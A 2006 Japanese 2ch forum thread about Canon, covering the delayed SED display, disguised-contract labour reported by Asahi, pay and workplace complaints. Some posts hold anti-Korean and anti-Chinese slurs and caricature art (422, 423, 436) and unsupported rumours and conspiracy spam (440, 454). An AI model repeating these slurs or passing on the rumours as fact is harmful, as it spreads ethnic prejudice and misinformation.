http://www.ednjapan.com/content/l_news/2003/12/17_06.html
「販売開始は2005年後半を予定」
http://www.watch.impress.co.jp/av/docs/20041227/toshiba.htm
「2005年度中、2006年春に最終製品の市場投入を目標」
http://www.watch.impress.co.jp/av/docs/20050531/sed.htm
「2007年第4四半期に延期」
http://www.watch.impress.co.jp/av/docs/20060308/sed.htm
SED発売延期の真の理由 「コスト」より「技術」
http://www.watch.impress.co.jp/av/docs/20050531/sed.htm
「2007年末の新製品投入に意欲」
http://it.nikkei.co.jp/digital/news/index.aspx?n=MMITea142A10032006
「2008年の北京五輪商戦をターゲットに」
http://www.itmedia.co.jp/news/articles/0603/08/news062.html

392 :_:2006/07/25(火) 20:53:15 ID:gPf6axUH
      _━━━━━━_                           _━━━━━━_
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393 :_:2006/07/26(水) 03:07:52 ID:BYZr12Vd
今年のCEATECには出すのかね?>SED

394 :.:2006/07/28(金) 19:35:38 ID:8rCBY79X
部外者なんだけど、キヤノンの社長がいるビルってどこなの??
JR品川駅前のデカイビル?
それとも別なの??


395 ::2006/07/29(土) 00:24:22 ID:MiqIS353
>>394
下丸子じゃない?
品川はCMJだからキヤノンじゃないし。

396 :-:2006/07/29(土) 16:43:10 ID:jsjk4Dp9
>>394
釣りですか?
それとも襲撃でもする気?

397 :@:2006/07/29(土) 16:55:22 ID:Z8fzu7n+
>>394

下丸子の駅から、徒歩で行く場合は、決められたルートを右側通行しろよ。
付近の馬鹿住民が五月蝿いからな。

398 ::2006/07/29(土) 18:42:37 ID:JItOh6Np
http://www.kki.ne.jp/akaruku-tsb/topics-hiseikikoyoCanon0607.html
こりゃあ、利益は伸びるだろうな。

399 :.:2006/07/29(土) 18:58:49 ID:d//MRuvU
こんな単純作業で時給1070円も貰えるのか
スーパーでレジ係をやるより高いんじゃね?

400 : :2006/07/29(土) 19:58:28 ID:nIG8Ty1R
SEDはまだでつか

401 :派遣:2006/07/29(土) 19:59:51 ID:CqDUxu4d
>>398
まあ、派遣法が腐ってるからね。
http://www.mhlw.go.jp/general/seido/anteikyoku/kaisei/dl/haken.pdf
企業の正規雇用を減らして儲けやすくする以外なんのメリットもない法律。
いっとくが、他の企業も現場は派遣ばかりだよ。

402 :394:2006/07/30(日) 00:14:28 ID:GObOkT8s
釣りじゃないですよw
皆様ありがとうございました!

403 :ageha:2006/07/30(日) 03:17:14 ID:ZdY+Fjhf
>>399 歩くスピードは計測されないけどな。というか、こんな労働環境で作られた
メードインジャパンなんか要らない。

怨念がこもっていそうだ。込める暇もなさそうだが(w

404 :zzz:2006/07/30(日) 11:06:23 ID:DuHQ9bon
>>398
今はその派遣すら満足に雇えないほど予算が厳しい腐った会社www
なんちゃってリーマンが殆どのなんちゃってエクセレントカンパニーwwww
プイニューーーーwwwww

405 ::2006/07/30(日) 13:10:27 ID:jd1X0ZG0
エクセレントなのはINCだけです。
製造子会社に行くと気分が滅入ります。

406 ::2006/07/30(日) 14:19:17 ID:k7GDkZBW
よく「歩くスピードが計測される」って聞くけどマジなの?

407 :sageha:2006/07/30(日) 18:56:07 ID:ZdY+Fjhf
ガイアの夜明けで自慢げにやってたよ。そんなの喧伝したら逆効果だってことは、
普通の神経の持ち主なら分かることだと思うんだけどねぇ。

408 : :2006/07/31(月) 00:26:06 ID:snrKpEDz
ありゃ、キヤノン電子だったけどな。



409 :名無しさん:2006/07/31(月) 08:38:27 ID:j/FPs5W+
うはっ、今朝の朝日新聞はあからさまなキヤノン叩きですな。
>>398 が元ネタかな。

410 :名無しさん :2006/07/31(月) 08:49:32 ID:vvJTZuzQ
>>409
それってキヤノンよりも中間搾取している派遣会社の方が問題なのでは?
大企業ばかりを叩いても仕方ないような・・・・

411 :rr:2006/07/31(月) 19:31:33 ID:5a5kgHuG
キヤノン、偽装請負一掃へ 数百人を正社員に

 キヤノンは、年内をめどに請負業者との契約を見直して派遣に切り替えるなど、
偽装請負の完全解消をめざした対策に取り組む。
 8月1日付で内田恒二社長を委員長とする「外部要員管理適正化委員会」を設置する。
 また、グループ全体で2万人以上いる請負や派遣労働者のうち、
数百人を正社員に採用する方針だ。

 御手洗冨士夫会長は日本経団連会長を務める。
 財界トップ企業の偽装請負解消へ向けた取り組みは、
他社にも影響を与えそうだ。

412 : :2006/07/31(月) 20:11:50 ID:yndka973
>>410
そりゃ、低賃金についてはピンハネが問題だろうが、
朝日で問題にされてるのは、偽装請負の違法性。


413 :名無しさん:2006/07/31(月) 22:55:04 ID:j/FPs5W+
>>411 固定費アップだね。どこにしわ寄せが行くのかしら?

414 :  :2006/07/31(月) 22:58:02 ID:MSM56tED
偽装請負はなんとかするっていってて中々しないから名指しで批判されたんだろ>キヤノン
そのために認めた製造業の派遣だからな。

トヨタやソニーなんかはだいぶ前にはじめてたのに。

まぁ、直接雇用したほうが、実は経費がかからんかったりするんだけどな。

415 :名無しさん:2006/07/31(月) 23:20:15 ID:j/FPs5W+
>>413 と思ったら、以前に直接雇用された人は派遣のときと同じ年収だったんだよね。
やることがセコぞ、キヤノン。

まぁ社会保険料だなんだかんだで実際は多く払っているんだろうけど。

416 :名無し:2006/07/31(月) 23:23:27 ID:e/gDI/eB
名指しされたのは朝日新聞だからでしょ
今日か昨日御手洗が安倍と会談してたし

417 :名無しさん〜:2006/08/01(火) 00:11:52 ID:e0xY8YqT
どういう基準で人を選ぶのか見ものだね〜
東京ユニオンのオバサンみたいに身分は社員でも年収が変わらずに
社内格差が公然と拡大するだけ?


418 :_:2006/08/01(火) 00:42:47 ID:VF66l0wl
昨日は下丸子が大慌てだったものと思われ。

419 :デジカメ絶望工場:2006/08/01(火) 05:27:57 ID:dcne/D1U
・大手製造業の工場で「偽装請負」と呼ばれる違法な労働形態が広がっている。メーカーに
 とっては、外部から受け入れた労働者を低賃金で、安全責任もあいまいなまま使えるうえ、
 要らなくなったら簡単にクビを切れる好都合な仕組みだ。
 「労働力の使い捨て」ともいえる実態がものづくりの現場に大規模に定着した。

 全国の労働局が2年ほど前から立ち入り調査を強化。昨年度だけでも、メーカーなど
 請負を発注した660社のうち、半分以上の358社で偽装請負に絡む問題が発覚し、
 文書指導した。「いたるところで見つかる状態」。指導事例は、氷山の一角だ。

 偽装請負の現場で働く労働者は不利な立場にある。担い手は20〜30代半ば。
 ボーナスや昇給はほとんどなく、給料は正社員の半分以下だ。社会保険の加入さえ
 徹底されず、契約が打ち切られれば、すぐさま失業の危機にさらされる。

 キヤノンの子会社「大分キヤノン」の大工場。請負会社から送り込まれた。
 県内のもう一つの工場と合わせると約4000人で、正社員の3倍以上の人数だ。
 大分キヤノンは昨夏、偽装請負があったとして大分労働局から改善指導を受けた。だが
 1年たった今も、違法状態は完全には解消できていない。

 これまで偽装の実態が知られなかったのは、労働局が指導先の企業名を公表して
 こなかったからだ。朝日新聞が独自に調べたところ、この2、3年の違反例だけでも、
 日本を代表するメーカーが次々と見つかった。
 このほか、ニコン、松下電器産業の子会社「松下プラズマディスプレイ」や東芝系の
 「ITサービス」、富士重工業やトヨタ自動車グループの部品会社「光洋シーリングテクノ」と
 「トヨタ車体精工」、いすゞ自動車系の「自動車部品工業」、今治造船、コマツの子会社
 「コマツゼノア」で偽装請負があった。

 偽装請負の現場では、重大な労災事故も起きている。日立製作所の茨城県日立市の
 工場では04年9月、請負会社の作業員2人が発電機の検査中に感電し、死傷する事故が
 発生した。(抜粋。ソース元に図表あり)
 http://www.asahi.com/national/update/0731/TKY200607300428.html

※前:http://news19.2ch.net/test/read.cgi/newsplus/1154328478/

420 :狭き門:2006/08/01(火) 06:02:39 ID:5EOdAg5f
>また、グループ全体で2万人以上いる請負や派遣労働者のうち、
>数百人を正社員に採用する方針だ。

2万人以上のうち数百人って…。1/100くらい?

421 :鬱男爵:2006/08/01(火) 06:21:23 ID:jw58R5dD
裏口入学みたいなもんだ。
正社員にしたって企業の力は上がらん。

社員手形を乱発したい気持ちもわかるが、いまいる
糞みたいな管理職とバブル中堅組の実力の底上げをしろよ。

必要なのは両面作戦だろ。
メディアから叩かれたほうだけに反応すんな。

422 :名無しさん :2006/08/01(火) 09:47:07 ID:iaxadYuS
キヤノンを叩いているのは売国奴達 (在日、中国人、左翼、朝日新聞、赤旗)



安倍の本が発売した日 ← 富田メモ


御手洗経団連と安倍が会談した日 ← 派遣記事


タイミング狙われてますな



キヤノンを叩いている奴のIDを検索すると、安倍叩きと同じIDがw



423 :名無しさん:2006/08/01(火) 20:12:29 ID:eYCF39rK
                     〇
              // /        \\
             偽装請負がバレないように
           しっかり口裏を合わせておくニダ!
                     ∧_∧
                    <`∀´、>
             ∧∧    ⊂ . ^ ヽ  ∧_∧
           /<、`∀>   |   ∪ <    >
         ∧∧ '⌒  ) ̄ ̄ ̄ ̄∧_∧∩/⌒/ |
       ./(-@∀@)/      <    > ィ|   |
      | ′  つ          /⌒ / |l   |
      | l∪./          ./ /| . |」 /||
      | `/           .ι ゝ| . | ||  ||
       、 l ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ l/ _」 /|| ||
http://find.2ch.net/?STR=%B5%B6%C1%F5%C0%C1%C9%E9+%B5%B6%C1%F5%C0%C1%C9%E9
偽装請負問題の検索

424 :名無しさん:2006/08/01(火) 20:23:41 ID:pYEefHYj
実際、キヤノンで正社員にならないかと声をかけられて人いるの??
社員になれる派遣(請負)となれない派遣(請負)の違いはなに??




425 :鬱男爵:2006/08/01(火) 20:29:46 ID:jw58R5dD
某地区で募集記事出たでしょ。

なれる人  → 真っ黒の人。
なれない人 → まだ灰色の人。

個人的な解釈だけど。

426 :名無しさん:2006/08/01(火) 20:32:13 ID:pYEefHYj
どこの地区?
真っ黒と灰色って何を意味してるの??

427 :名無しさん:2006/08/01(火) 20:57:26 ID:tE2zjvSL
肌の色

428 :名無しさん:2006/08/01(火) 23:44:44 ID:CvvWll2n
腹の色

429 :429:2006/08/02(水) 00:45:38 ID:Hmanpmaw
朝日で叩かれたのは請負会社を使うことによって簡単に首切りできるシステムを採用した会社だからだよ。
請負会社は儲かるからやってるだけ。
キヤノンが請負や派遣使って経費圧縮してるのは目に見えてるし、請負会社のせいにしちゃダメだよ。
ロリコンビデオを買う側と供給する側の関係と同じですよ。
請負を”使う人”の殆どは犯罪者さんですよ。

430 ::2006/08/02(水) 12:15:23 ID:xiQEyhQ7
今度のIT革命とやらはずいぶん気合いはいってますね
ホワイトカラーの人員削減 大いに結構

431 :派遣採用への補助金 受給後、請負に変更 松下系工場:2006/08/02(水) 21:37:03 ID:GkT0rzbY
http://www.asahi.com/paper/front.html

432 :is:2006/08/02(水) 23:14:50 ID:yBLp68Au
>>426
法律違反度でしょう。
長期間雇用されているか、そうでないかとか。
業務自体が派遣(請負)に任せる範疇を超えてるとか。


433 :iopuhg:2006/08/02(水) 23:40:07 ID:d5xxZ3jA
SEDはまだでつか

434 :ななし:2006/08/03(木) 00:38:37 ID:LkpNyVKL
>>430
>今度のIT革命とやらはずいぶん気合いはいってますね
あれみてがっかり。変わらないんだねえ。。
まあ、元々今の役員にまともなITセンスあるとは思えなかったけどね。

>ホワイトカラーの人員削減 大いに結構
ぷっ。。今までの社内システムみて、まだわからんかね。
間接部門という目に見えるコストを一般社員の見えないコストに振り変えるだけだよ。雑用増えるだけ
そういう雑用すらまわされない椰子もいっぱいいるけどね。

無駄をなくしたいんなら、1)意味なしホール棟の建設中止、2)経○連活動辞退、3)B棟移転見直しやれば?
1)は純粋に無駄
2)ポケットマネーでやっとけ
3)純粋に大企業としてのリスク回避

435 :naruhodo:2006/08/03(木) 01:38:13 ID:zW9LTYH+
なるほど、キャノンのような2流会社が、
これほどの利益を上げている裏には
こういうカラクリがあったんですね。

人権を踏みにじって利益を上げるキャノン
は一世紀前の悪徳資本家みたいですね。

こりゃあ、共産革命でも起こすしかないか
いや、冗談じゃなくw




436 : :2006/08/03(木) 02:03:01 ID:IO6Ch0kq
キヤノンを叩いているのは売国奴達 (在日、中国人、左翼、朝日新聞、赤旗)



安倍の本が発売した日 ← 富田メモ


御手洗経団連と安倍が会談した日 ← 派遣記事


タイミング狙われてますな



キヤノンを叩いている奴のIDを検索すると、安倍叩きと同じIDがw



437 :鬱男爵:2006/08/03(木) 05:46:42 ID:drrmAO/4
むしろ、出来損ないを集めて人権を蹂躙して高収益を
上げる手法が高く評価されての会長就任ではないかと。

438 :従業員:2006/08/03(木) 06:14:29 ID:YdsCs1m5
「従業員」の利益を最重視=「株主」と初めて逆転−新任役員の意識

ttp://headlines.yahoo.co.jp/hl?a=20060802-00000081-jij-bus_all

日本能率協会グループが2日発表した「新任役員の素顔に関する調査」によると、
「だれの利益を最重視するか」との質問に対し、「従業員」とする回答が「株主」を
初めて上回った。2002年以降、4割前後で推移していた株主との回答が25.1%
まで下落する一方、3割程度だった従業員が42.3%まで上昇し順位が逆転した。
同協会は、「ライブドアや村上ファンドをめぐる事件で、短期的な株主利益を問題
視する考え方が広がったのではないか」とみている。

439 ::2006/08/04(金) 01:05:14 ID:tFW4mbXj

>>436

君が工場へ転勤させられて
分社化してアボンさせられても
そんなことが言えるかな?


みんな、俺には関係ないと思っているのだなあ。
キヤノンは、労働者を軽んずるのが
伝統のようですね。






440 :A:2006/08/04(金) 02:13:12 ID:hVAIEUnO
米大人類社会学のJames Lett教授
日本の大手マスコミは、激しい反韓国運動が起きる事を懸念して、
麻原の父親が韓国人だった事は報道しません。

Asahara's own father is Korean.
The conservative daily press and TV won't touch that one,
for fear of stirring up anti-Korean resentment
ttp://www.totse.com/en/religion/miscellaneous_religious_texts/japanaum.html

上記ソースの上から1/4くらいの所にハッキリ書いてある。
日本のマスコミはもうダメですね。昔から異常なほどの韓国擁護、本当に信じられません。

441 :名無しさん:2006/08/04(金) 22:22:32 ID:Iglq91yY
生活費数万円、突然の解雇予告 偽装請負のメーカー工場

大分キヤノン大分事業所=大分市迫で、本社ヘリから

 低い賃金、短く不安定な雇用……。
「偽装請負」の現場で働く若者たちには、景気回復の実感は乏しい。
「結婚や子供なんて考えられない」「年をとってもこんな働き方を続けられるだろうか」。
将来が見えない不安を抱えつつ、あてどなく漂う。

 別の請負会社幹部も皮肉を込めて語った。
「最近の若者は、実力主義を『時給が100円高くなる工場へ移ること』と、はき違えていたりする。
一生こんな賃金で使われ続ける彼らの将来は大丈夫かねえ。
我々にとってはありがたい存在だけど……」

http://www.asahi.com/job/news/TKY200607300432.html

442 :-:2006/08/04(金) 22:35:25 ID:6kHcRdF5
こういうのは、派遣会社、請負会社のピンハネ率が高いことが問題なんでしょ
メーカーは結構な金を払ってるよ

443 :名無しさん:2006/08/04(金) 22:41:45 ID:Iglq91yY
好況、置き去りの世代 「偽装請負」担う20〜30代半ば

「ものづくり日本の復活」と歓迎される一方で、華やかさとは無縁の労働者の一群がいる。
低賃金でクビを切りやすい請負労働者たちだ。バブル経済崩壊後の「失われた10年」に、
時には法令違反のかたちで生産体制に組み込まれた。
景気回復の恩恵にあずかる今の新卒世代と違い、かれらは正社員になることもままならない。

◆変わる顔、途絶えぬ求人 会社に意見→解雇通告

 請負労働者の時給は1000円程度。昇給やボーナスは基本的になく、年収は200万円程度だ。

 ある試算によると、子どもを1人育て上げるのに2000万円かかる。
ところが非正規雇用者(請負、派遣、パートなど)の生涯賃金は6000万円程度で、正社員の3分の1。

 子育てどころか結婚さえあきらめている人も多い。

 旧UFJ総合研究所が昨春発表した調査では、25〜39歳の非正規雇用者が正社員になれないことで
婚姻数は年間5.8万〜11.6万組減り、毎年生まれる子供の数は13万〜26万人も減少する。

 今年の経済白書は、15〜34歳の非正規雇用者約360万人が、正社員でないことで失う所得は
年6.2兆円と試算した。国内総生産(GDP)の1.2%にあたり、今後も年約1%分ずつ失い続ける。

 請負労働者は、非製造業も含めると、200万人を超えるともいわれる。
「おそらくこの人たちは、一生浮かび上がれないまま固定化する」と労働局の幹部さえ言う。

 このままだと、社会の基盤さえ揺らぎかねない。

http://www.asahi.com/business/topics/TKY200607310073.html




444 :名無しさん:2006/08/04(金) 22:46:24 ID:Iglq91yY
>442

◆労働コスト圧縮の柱 国内回帰、ハイテク工場

 「もう当たり前のビジネスモデル。今の新工場っていうのは、大量の請負労働者を使うことを前提に設計しているんです」

 ある大手請負会社幹部が自慢げに説明した。
実際、ここ数年で立ち上がったデジタルカメラ、薄型テレビなどの最新鋭工場では、請負労働者が正社員より圧倒的に多い。

 労働政策研究・研修機構の藤本真研究員は「工場で請負の活用が急速に進んだのは90年代後半」と指摘する。
中国、韓国をはじめ、製品の安さを武器にしたアジア勢が台頭し、日本メーカーは世界的な競争に巻き込まれた。
コスト高の日本で生産していては勝ち残れず、海外に生産拠点を移す動きが加速した。

 しかし、技術流出を避けたい企業は、ハイテク商品の生産では国内回帰の道を選んだ。
その際に徹底したのが、労働コストの圧縮だ。正社員の採用を極力抑え、
工場での労働力は「アウトソーシング(外部委託)」方式にして、安く調達した。
「これなら急な減産時には、いつでも簡単に人員調整できます」(大手メーカー幹部)



445 : :2006/08/04(金) 22:57:02 ID:XUDNBkfn
>>442
けっこうな金を払っているなら直接雇用にすればいいだろ
同じ金を払ってもピンハネ業者に依頼するくらい
直接雇用=固定費を嫌っているんだよ

446 :kkk:2006/08/05(土) 00:55:40 ID:eJVCNSwu

最近は、技術者のアウトソージング会社もあるじゃん。
もっと、固定費減らせるだろ。
固定費の大部分が人件費だろうから、
毎年、請負技術者増やしていけば
毎年、最高益更新できるんじゃね?





447 :名無しさん:2006/08/06(日) 02:06:50 ID:Auw1hVqL
>446
請負技術者だらけになったら今度はどうやって利益増やせばいいの?

448 :名無しさん :2006/08/06(日) 03:18:06 ID:IJB2CJmn

技術者も所詮、肉体労働者。
代わりはいくらでもいる。

中国あたりでは、日本語もペラペラ
の優秀な技術者が3万円くらいで
雇えるらしいね。



449 :名無し:2006/08/06(日) 10:11:53 ID:sC/vto6K
>>448
オマエ、ボンクラ学生か?
優秀な技術者が、中国で雇える?
バカか。
何を持って優秀な技術者って言うのか知ってるか?
程度の低いこと書き込むなよ

450 :名無し:2006/08/06(日) 10:25:30 ID:zkPeUwAw
キヤノンに中途で内定したけど,辞退したものです。
請負だけじゃなく,中途に提示される給料もほかより安いよ
(30代前半 残業コミで600万円前後,手当なし)。

”中途のハンディなし”とかいいながら,実は新卒
入社の人よりハンディあり?請負の違法性見ても,
今のトコでつくづくよかった。またのぞきに来ます。

http://www.mynewsjapan.com/kobetsu.jsp?sn=444

”キヤノンでも、入社4年目に、半分しか受からないと
言われる厳しい試験を通って「G2」に昇格できても、
約700万円だ。27歳の年収とはそんなものであり、
これらは事実だ。”


451 :ななし:2006/08/06(日) 10:39:24 ID:OEJIwAnf
>>450
キヤノンって中途で安い人を探しているだけかね・・・

452 :名無しさん :2006/08/06(日) 12:17:46 ID:0fN9Me05

井の中の蛙だねw

中国の大学の研究レベルは
日本の一流大学と大差ない。

ソニーや東芝でも、積極的に採用している。
まさか、君、文化大革命時代の中国の
イメージしかない?







453 :しんマル:2006/08/06(日) 12:20:17 ID:XHG5kSNT
http://blogs.yahoo.co.jp/randozou
http://blogs.yahoo.co.jp/randozou
http://blogs.yahoo.co.jp/randozou

454 :_:2006/08/06(日) 13:00:45 ID:8YUd0zNU
日本が世界第2位クラス(イラク並み)の油田を入手できるかもしれません。
存在自体はだいぶ前から確認されていましたが、「日中友好」のために、日本側の領土にあるにもかかわらず、
外務省は民間企業に採掘許可を与えてきませんでした。
しかし、5月28日の中日新聞で、
「日本の領土内の石油を、外務省が日中友好のため中国に譲ろうとしている」
という事実が発表され、状況が一変。
さらに、「大手マスコミは○○による報道管制のせいで報道できない」 という事まで明らかになりはじめ、
この、「国民に知らせないままの巨大資源の争い(譲渡)」について、ニュース関連の板では連日議論が続いています。

■有志によるまとめページ
http://www2.jp/higashishinakai/
日本人なら抗議しよう!


455 :えいちぴぃ('ε'):2006/08/06(日) 15:07:13 ID:4OqxgKl/
おたくを項乳します

456 ::2006/08/06(日) 17:27:47 ID:aMn+eNFz
>>447
高性能キヤノンタイマーを仕込む

457 :457:2006/08/06(日) 21:25:52 ID:ltGYPynU
>>446
ジェイテックだとかアイティットだとかアルプス技研だとかの技術屋専門の派遣会社があるけどさ、
実際に固定費が掛からない技術者ってある程度の手に職を持ってる人は普通ならいつまでも派遣やってないよ。
結局企業は中途半端な技術者ばかり残ってそれ相応の仕事しか出来ない部署になってしまう。

都合のいい従業員を企業は探しているがなかなか見つからないため、どの製造メーカーでも慢性的な人手不足に悩んでいる。

458 ::2006/08/06(日) 21:34:25 ID:vRmd66z6
>>448
中国のとても優秀な技術者は、日本人以上の給料を貰って日本以外の
外資系の企業で働いています。
残念。

459 :ななし:2006/08/06(日) 23:30:41 ID:aluSv0FB
台風来たねえ。。
役員待機しときなよ・・

460 :菜々氏:2006/08/07(月) 16:22:49 ID:JafQrXmv
半導体関連の開発部が液晶に移動(?)になるらしいんだけど

461 : :2006/08/07(月) 21:12:44 ID:fiefD8tY
ステッパ?
半導体はこれからじゃないのか?

462 :a:2006/08/08(火) 00:59:55 ID:brr0ZSQO
>>460-461
こら。まだ部外秘だろ。

463 ::2006/08/08(火) 17:19:06 ID:AU5wNaTe
阿見にまだ事業所ある?
閉鎖しちゃった?

464 : :2006/08/08(火) 19:08:24 ID:QXFleDFU
キヤノンさんは、まだ、アナログの白黒コピー機を作ってますか。
手前どもは小さな会社で、沢山コピーする時はコピーサービスで、通常はインクジェットで対応しています。
最近、コピー枚数が、とみに増加してきましたので、アナログ機の設置を検討中です。
出入りしている業者が、カラー複合機あるいは複合機を矢鱈に勧めてくるのに辟易としています。

キヤノンさんは、アナログと指定すれば、アナログを売ってくれますか?
また、本体は定価の何割引くらいになりますか?(30枚/分くらいの機械で十分ですが幾らくらいになりますか)
コピー枚数は、月に1万枚くらいですが、カウンターチャージは、1枚あたり何円くらいが妥当ですか?
又、ペーパーのコストは?

以上、よろしくお願いします。


465 :名無しさん:2006/08/08(火) 19:33:28 ID:buHk1hqa
何故にアナログ?
アナログなんて10年前に滅びたんじゃないの?

466 :あみーご:2006/08/08(火) 20:10:46 ID:rVyHkSPD
液晶もCFはインクジェットになりそうな雲行きで・・・
BMとTFTだけか?

467 :ん?:2006/08/08(火) 22:03:31 ID:y3DMW+TR
>464
月10000枚もコピーサービスですか?
コンビニでですか?
コピーサービスの機械も全てデジタルですヨ
今時アナログを作ってるメーカはありましぇ〜ん
でもメンテは楽だったわなやっぱり・・・・


468 ::2006/08/08(火) 22:40:14 ID:X57rxAQi
〜 複合機 総合スレ 【非家庭用】 〜
http://pc8.2ch.net/test/read.cgi/printer/1086764740/


469 :ちもまるこ:2006/08/08(火) 22:48:50 ID:l5TcLPf6
Webカマラは撤収だろ

470 :名無しさん:2006/08/09(水) 00:12:09 ID:E0yBYN1K
>>460-462 ステッパとスキャナーの開発にあんなに人数は要らない。液浸も失敗なんだろ?
MPAに全精力を掛けろ!っていやぁ〜んばかぁ〜ん!

471 :.:2006/08/09(水) 00:39:48 ID:E+fMXWY9
ステッパーは絶対ニコンに勝てないんだから無理しなくて良いのにね。

472 :終わりの始まり:2006/08/09(水) 08:09:40 ID:ofw65uXC
どこの事業部でもそうだけど慢性的なリソース不足
特に使える人材が足りないが故に既存要員にその負荷が重くのしかかる
合わせて品質の悪さから、うちでの小槌のように問題が湧き上がってくる

近い将来、キヤノンもパロマや松下、三菱自動車のような謝罪広告をうつようになる…必ず

もの作りの現場より

473 :哀れな現場社員:2006/08/09(水) 08:24:28 ID:n8+eh3RG
>>472
同意。偽装請負が発覚し本当の終演の始まりだね

474 :名無しさん:2006/08/09(水) 22:58:40 ID:9aSSFbtn
http://www.collectors-japan.com/nevada/content/c060801_2.html

7月10日付け日経ビジネスの特集を読まれた方はショックを受けられたのではないでしょうか?
最高益を更新するシャープの影で泣く若者労働者がいる・・・。
シャープは液晶部門の好調で売り上げ3兆円、営業利益で1,800億円を稼ぐ優良会社です。
そのシャープが液晶で有名な亀山工場で働く若者を劣悪な労働条件で働かせ、
怪我をしたら即解雇をして放り出す。放り出された若者はホームレスになって・・・。
昔、女工哀史という話がありましたが、今、これと同じような状況が日本国内で起こっているという報道なのです。
雇い入れる企業は膨大な利益を稼ぎ、働かされる労働者は『結局、俺達は使い捨てだった。
北海道を出てもう2年が過ぎてしまった。早く立て直さないと』と言わしめる。

ここで取り上げられている事例は、北海道で見た求人広告に魅せられて出稼ぎにきた若者(37歳、38歳)2人の事例となっています。
シャープの亀山工場で『時給 1,100円、家賃 25,000円、年収 300万円』という条件で採用され、
希望に満ちたまではよかったのです。ところが、実態を知って愕然となる・・・。

労働条件は南米からきた出稼ぎ日系人と同じような賃金・条件となっているのです。日本人だからといってよい条件ではないのです。
そして、怪我をして労災を申請しようとしたら、『もう来なくてよい』として解雇され・・・。


475 :これが日本の労働現場なのです。:2006/08/09(水) 23:00:37 ID:9aSSFbtn
一般的な報道では日本企業は最高益を更新し、景気も回復して絶好調という報道が垂れ流されていますが、
実際は労働者が過酷な労働条件で働かされた上に成り立つ最高益なのです。
『これが時流』、と企業側は嘯き、経営者は経団連セミナーで
『小泉改革のおかげでここまで来た、もっとこの改革を進めないと』とのたまう。
<勝ち組企業・サラリーマン>と<負け組労働者>の格差が戦前・戦後の時代にまで拡大してきているのです。
恐ろしいまでもの格差社会になってきているものですが、
今後、さらにこの格差は拡大していき、いつかは爆発することになります。その爆発とは?

搾取される側の労働者が一斉に反旗を翻すことです。
シャープの亀山工場では4,000人が働きその半分の2,000人がこのような劣悪な条件で働かされる
業務請負契約や派遣社員といわれていますが、仮にこの2,000人が一切に反乱を起こしたらどうなるでしょうか?
<生産現場でまともに働かない → 欠陥商品が続出する>といったことや、
ある日一斉に出勤拒否をするということが起こったら・・・。
さらには、工場に火をつけるという破壊活動をしたら・・・。
搾取され続ければいつかは爆発します。

昔、日本では一揆があり、ヨーロッパでは(労働)革命がありましたが、
この原因は格差社会の拡大が限界点にきたから起こったのです。
誰が先導するものでもなく自然発生的に暴動がおき、それが連鎖していったのです。
日本社会は<負け組>になればもはや二度と這い上がれない社会になりつつあり、
このまま政府が景気は回復している、消費も好調、生活も改善している・・・という報道をすればするほど、
底辺で生きている<負け組労働者>の不満はたまり、何かの切っ掛けで爆発することもあるはずです。


476 :名無しさん:2006/08/09(水) 23:04:01 ID:kJLGEzXU
このニュースを流して得をするのは誰?

477 : :2006/08/09(水) 23:33:02 ID:DUgNRlOY
このニュースを流されて困るのは誰?

478 :名無しさん:2006/08/09(水) 23:55:32 ID:DsYsxGfK
>>477
> このニュースを流されて困るのは誰?

日本の労働者に決まってるだろ。経営者は、大して困らない。
コストが合わなくなれば、生産拠点は海外に移転。
お決まりのパターンでしょ。
いろいろ言う人は、賢ければ自分は安全な位置にいる。
それに気付かずに、安全な位置にいる奴に踊らされてる奴が騒いでる。
さびしい、世の中だよ。

479 :ななし:2006/08/10(木) 00:32:49 ID:LCVX60/J
>472
本当にそう思うね。
まずい状態になってることに気がつかないのか、気がつかないふりしてるのか。
以前はよく記者会見で社長以下が頭下げてるのをばかばかしくみていたけど、
同じような状態になると、頭下げて当然、原因作ったのはお前らだって思うように
なるね。

480 :ななしっこ:2006/08/10(木) 04:58:18 ID:1Xl/MbAz
どしたらいんだろね?今いる請負や派遣を大企業が正社員登用すれば済む話?で済まないとこまで来てるような・・・

481 :マルクス:2006/08/10(木) 09:25:04 ID:6IDQLoSU
資本主義社会で有る限り仕方のない問題。富の再分配など誰も言い出さないだろう。

482 :名無しさん:2006/08/10(木) 20:02:09 ID:CgbNASkN
>>480 キヤノンが派遣労働者を正規雇用したが、給与などの条件は派遣のときと変わらなかったらしい。
それじゃ夢も希望もないだろって話だが。まぁ社会保険は加入できるけどね。

483 : :2006/08/10(木) 21:13:44 ID:466BN30m
それだと元派遣の正社員と最初から正社員採用の正社員とは
給与体系や昇進システムに差が出てしまうんじゃない?

484 ::2006/08/10(木) 22:05:36 ID:xbcA3yBC
WHOで既婚女性を表示したときに、
旧姓が表示される人と表示されない人は何が違うの?

485 :    :2006/08/11(金) 12:52:59 ID:Uhnxzl6F
社内結婚か否か

486 :人事:2006/08/11(金) 22:13:46 ID:BPskwTN/
>>484
任意
登録したい奴が勝手に書く
昔はタグの挿入もできた
外部リンクはってたら削除要請が来た
今でもくだらないプロフィール書いてる暇な奴がいる

>>485
いい加減な事をいうな
未婚・既婚なんて個人情報開示するわけない

487 :_:2006/08/11(金) 22:56:13 ID:eNhmIDyt
>>450
え、G2なんて誰でも上がれるだろ・・

488 :飼育士:2006/08/12(土) 04:19:03 ID:AuLspEXA
会長が大分出身だから工場建てて地元の雇用改善に貢献したいのかもしれんが
中身は半数近くが宮崎訛りの派遣社員
ライン作業者なんて手取り10万くらいじゃないかな
今月は長期連休があるから来月貰う給料は悲惨だ
給料安くても他に大した就職先がないから渋々働いてるんだろうな
そんなモチベーションで良いものが作れるハズないんだが
そんなヤツらが辞めていって良い事言うわけない
キヤノンに限った話じゃないだろうが、派遣を雇うって事は
その数だけ悪い噂を流される可能性があるって考えなきゃダメだよな
じゃなきゃ、派遣会社みたいなピンはね仲介業者を雇わないで直接雇用するべきだな
まぁ、正社員の給料も大して変わらんがね

489 :名無しさん:2006/08/12(土) 10:29:25 ID:ybIOHcZ3
宇都宮レンズ工場跡地の土壌汚染なんとかせい。全部掘り返せ。

490 :石田幸兒:2006/08/12(土) 13:25:25 ID:CxDjwt1B
大変ですな

491 :@:2006/08/12(土) 14:04:27 ID:XUrphl+l
>>489
また隠ぺいするのかな。
取手工場の土壌汚染も隠ぺいしてたし。
近くの川に流れ込んで近隣の住民大激怒!

492 :名無しさんん:2006/08/12(土) 17:26:11 ID:k+VKUt4F
キャノンって中も外も最低〜
あきれるほど腐ってんな・・・

493 :ハッケン:2006/08/12(土) 18:18:25 ID:AwRg1cH4
>488
そうなんだよ
